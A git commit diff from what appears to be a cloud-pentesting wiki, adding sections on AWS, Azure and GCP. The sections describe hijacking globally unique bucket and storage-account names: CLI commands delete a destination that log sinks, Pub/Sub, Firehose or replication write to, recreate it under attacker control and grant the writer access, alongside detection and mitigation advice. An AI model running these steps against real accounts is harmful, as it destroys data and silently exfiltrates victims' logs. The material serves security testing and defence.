Move bucket hijacking technique to service pages

This commit is contained in:
Carlos Polop
2026-06-25 17:54:40 +02:00
parent d10beb1886
commit 356e26a346
7 changed files with 194 additions and 44 deletions
@@ -109,9 +109,36 @@ aws s3api delete-bucket \
--bucket <BUCKET_NAME>
```
### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
S3 bucket names are globally unique. If a victim account has automated writers that keep delivering data to `arn:aws:s3:::<bucket-name>` and an attacker can empty/delete that bucket, the attacker may recreate the same bucket name in an attacker-controlled account and receive future deliveries without changing the upstream service configuration.
Good targets to review include S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains that land in S3, and custom backup or export jobs.
```bash
# Review S3 replication destinations on source buckets
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
# Review Firehose S3 destinations
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME>
# Empty and delete the target bucket, if permitted
aws s3 rm s3://<BUCKET_NAME> --recursive
aws s3api delete-bucket --bucket <BUCKET_NAME>
# Recreate the same globally-unique name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```
The replacement bucket policy must allow the upstream writer to put objects. The exact principal depends on the service: for example an IAM replication role, a Firehose delivery role, or a service principal constrained with `aws:SourceArn` / `aws:SourceAccount`.
**Potential Impact:** silent exfiltration of future replicated objects, logs, telemetry, backups, and pipeline artifacts to an attacker-controlled AWS account.
**Detection & Mitigation:** alert on deletion of buckets referenced by replication rules or delivery streams, monitor for `NoSuchBucket` delivery failures followed by bucket recreation, restrict `s3:DeleteBucket` on export destinations, and pin cross-account deliveries with strict bucket policies and ownership expectations.
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}
@@ -75,4 +75,20 @@ aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
## Impact
**Potential Impact**: Continuous, durable exfiltration of every message published to the targeted SNS topic into attacker-controlled storage with minimal operational footprint.
## Related Bucket-Name Hijack Variant
If an existing SNS -> Firehose -> S3 chain already writes to a bucket and the attacker can delete that bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration.
```bash
# Identify the Firehose S3 destination
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME> \
--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
# After deleting the original bucket, recreate the same name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```
Grant the Firehose delivery role access to the replacement bucket if the role can write cross-account. Monitor for bucket deletion on Firehose destinations, delivery failures, and unexpected bucket ownership changes.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -42,7 +42,36 @@ az storage blob upload \
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
### Storage account name takeover of diagnostic exports
Azure Storage account names are globally unique. Some autonomous exports, such as Azure Monitor diagnostic settings, keep writing logs or metrics to a configured storage account. If an attacker can delete that storage account and recreate the same name in an attacker-controlled subscription within the same tenant, future exported telemetry may be delivered to the replacement account without modifying the diagnostic setting.
This is especially interesting when the attacker has destructive permissions such as `Microsoft.Storage/storageAccounts/delete`, but cannot update the monitored resource or its diagnostic settings.
This requires the storage account name to be released for reuse. In practice, Azure storage account soft delete / recovery protections can delay or prevent immediate reuse, especially across tenants.
```bash
# Find diagnostic settings that write to a storage account
az monitor diagnostic-settings list \
--resource <RESOURCE_ID> \
--query '[].{name:name,storageAccountId:storageAccountId}'
# Delete the storage account, if permitted
az storage account delete \
--name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP>
# Recreate the same globally-unique storage account name
az storage account create \
--name <STORAGE_ACCOUNT_NAME> \
--resource-group <ATTACKER_RESOURCE_GROUP> \
--location <LOCATION> \
--sku Standard_LRS
```
**Potential Impact:** long-term exfiltration of future logs, metrics, audit data, and diagnostic archives to an attacker-controlled subscription.
**Detection & Mitigation:** alert on deletion of storage accounts referenced by diagnostic settings, inventory diagnostic settings with `storageAccountId`, monitor for dangling destinations, and tightly restrict destructive permissions on logging/archive storage accounts.
{{#include ../../../banners/hacktricks-training.md}}
@@ -202,7 +202,36 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
</details>
### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
Cloud Logging sinks can continuously export logs to a Cloud Storage destination such as `storage.googleapis.com/<bucket-name>` or `storage.googleapis.com/<bucket-name>/<prefix>`. If an attacker can delete the destination bucket, but cannot update the sink, they might still redirect future exported logs by recreating the same globally-unique bucket name in an attacker-controlled project.
This is useful when the compromised principal has destructive storage permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`, but does not have `logging.sinks.update`.
```bash
# Find sinks that export to Cloud Storage
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,disabled,writerIdentity)'
# Empty and delete the destination bucket, if permitted
gcloud storage rm -r gs://<BUCKET_NAME>
# Recreate the same bucket name in the attacker-controlled project
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
# Allow the sink writer identity to write objects into the replacement bucket
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** silent long-term exfiltration of future audit logs, application logs, security telemetry, and any other events matched by the sink filter.
**Detection & Mitigation:** alert on deletion of buckets referenced by active sinks, inventory sink destinations for dangling bucket names, restrict `storage.buckets.delete` on logging destinations, and protect export buckets with retention/hold controls where possible.
{{#include ../../../banners/hacktricks-training.md}}
@@ -150,6 +150,41 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
</details>
### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
Pub/Sub subscriptions can write delivered messages into Cloud Storage buckets. If a subscription keeps pointing to `gs://<bucket-name>` and an attacker can delete that bucket, the attacker may recreate the same globally-unique bucket name in another project and receive future messages without changing the subscription.
This can be valuable when the attacker cannot use `pubsub.subscriptions.update`, but can delete the destination bucket with permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`.
```bash
# Find Cloud Storage subscriptions and their destinations
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Empty and delete the destination bucket
gcloud storage rm -r gs://<BUCKET_NAME>
# Recreate the same bucket name under attacker control
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
# Grant the Pub/Sub service agent write access if delivery requires it
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.legacyBucketReader' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records.
**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.
### `pubsub.subscriptions.setIamPolicy`
Give yourself the permissions needed to perform any of the previously commented attacks.
@@ -227,5 +262,3 @@ gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
{{#include ../../../banners/hacktricks-training.md}}
@@ -45,6 +45,42 @@ To delete a bucket:
gcloud storage rm -r gs://<BUCKET_NAME>
```
### Global bucket name takeover of upstream writers
Cloud Storage bucket names are globally unique. Before deleting a bucket, check whether any automated service keeps writing to that bucket by name. If the bucket is deleted and the same name is recreated in an attacker-controlled project, upstream writers such as Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, or Storage Transfer Service jobs may continue writing future data to the replacement bucket.
```bash
# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,writerIdentity)'
# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>
# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
```
Grant the relevant writer identity access to the replacement bucket if the upstream service requires it:
```bash
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='<WRITER_IDENTITY_MEMBER>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.
**Detection & Mitigation:** treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict `storage.buckets.delete`, and use retention policies or legal holds for critical export buckets when appropriate.
### Deactivate HMAC Keys
The `storage.hmacKeys.update` permission allows disabling HMAC keys, and the `storage.hmacKeys.delete` permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.
@@ -99,4 +135,3 @@ gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
{{#include ../../../banners/hacktricks-training.md}}
@@ -32,49 +32,31 @@ Each cloud has its own peculiarities but in general there are a few **common thi
- For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\
For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud.
### Hunt autonomous data streams that write into globally-unique storage
### Hunt autonomous data streams writing to globally-unique storage
A recurring **cross-cloud post-exploitation primitive** is to find **long-lived routers / sinks / subscriptions / replication jobs** that keep writing into a storage destination identified mainly by a **globally unique name**. If an attacker can **empty + delete** that destination and then **recreate the same name** in an attacker-controlled project/account/subscription, the upstream service may continue delivering data to the replacement destination **without modifying the router resource itself**.
During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
This is interesting because it can **bypass the expected permission boundary**: the attacker might not have the permissions needed to update the router (for example `logging.sinks.update`, `pubsub.subscriptions.update` or similar), but a broad destructive storage permission such as `storage.buckets.delete`, `s3:DeleteBucket`, or `Microsoft.Storage/storageAccounts/delete` can still produce equivalent data redirection.
Focus this check in the relevant service pages:
**Generic attack flow:**
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
{{#endref}}
1. Identify automated data streams that write to buckets / storage accounts and are expected to run unattended.
2. Verify whether the destination is referenced by **name** and whether that name is **reclaimable** after deletion.
3. Check if your current principal can delete the destination even if it cannot update the router resource.
4. Delete the destination, recreate the same globally-unique name under attacker control, and wait for the next log/message/object delivery cycle.
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
{{#endref}}
**Good targets to review:**
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
{{#endref}}
- **GCP**: Cloud Logging sinks to GCS, Pub/Sub Cloud Storage subscriptions, Storage Transfer Service jobs.
- **AWS**: S3 replication destinations, Firehose streams writing to S3, and any other service that continuously writes into an S3 bucket by name.
- **Azure**: Azure Monitor diagnostic settings writing to Storage Accounts, especially when deletion/recreation is possible inside the same tenant.
{{#ref}}
aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}
**Quick hunting checklist:**
```bash
# GCP: sinks, subscriptions and transfer jobs that may target GCS
gcloud logging sinks list
gcloud pubsub subscriptions list
gcloud transfer jobs list
# AWS: replication and Firehose destinations
aws s3api get-bucket-replication --bucket <source-bucket>
aws firehose describe-delivery-stream --delivery-stream-name <stream-name>
# Azure: diagnostic settings pointing to storage accounts
az monitor diagnostic-settings list --resource <resource-id>
```
**What to report / detect:**
- Principals that can **delete storage destinations** but cannot formally update the associated router resource.
- **Dangling router resources** still pointing to deleted buckets / storage accounts.
- Sensitive log/export pipelines that can write to **external accounts/projects/subscriptions**.
- High-severity alerts on deletion of buckets / storage accounts that are referenced by sinks, subscriptions, replication rules, transfer jobs, Firehose streams, or diagnostic settings.
When a cloud environment heavily relies on autonomous exports for **logs, audit trails, backups, telemetry, or message archival**, this review should be part of the standard methodology because the impact is usually **silent long-term exfiltration** rather than immediate service breakage.
{{#ref}}
azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
{{#endref}}
## Multi-Cloud tools
@@ -508,4 +490,3 @@ confidential-computing/luks2-header-malleability-null-cipher-abuse.md
{{#include ../banners/hacktricks-training.md}}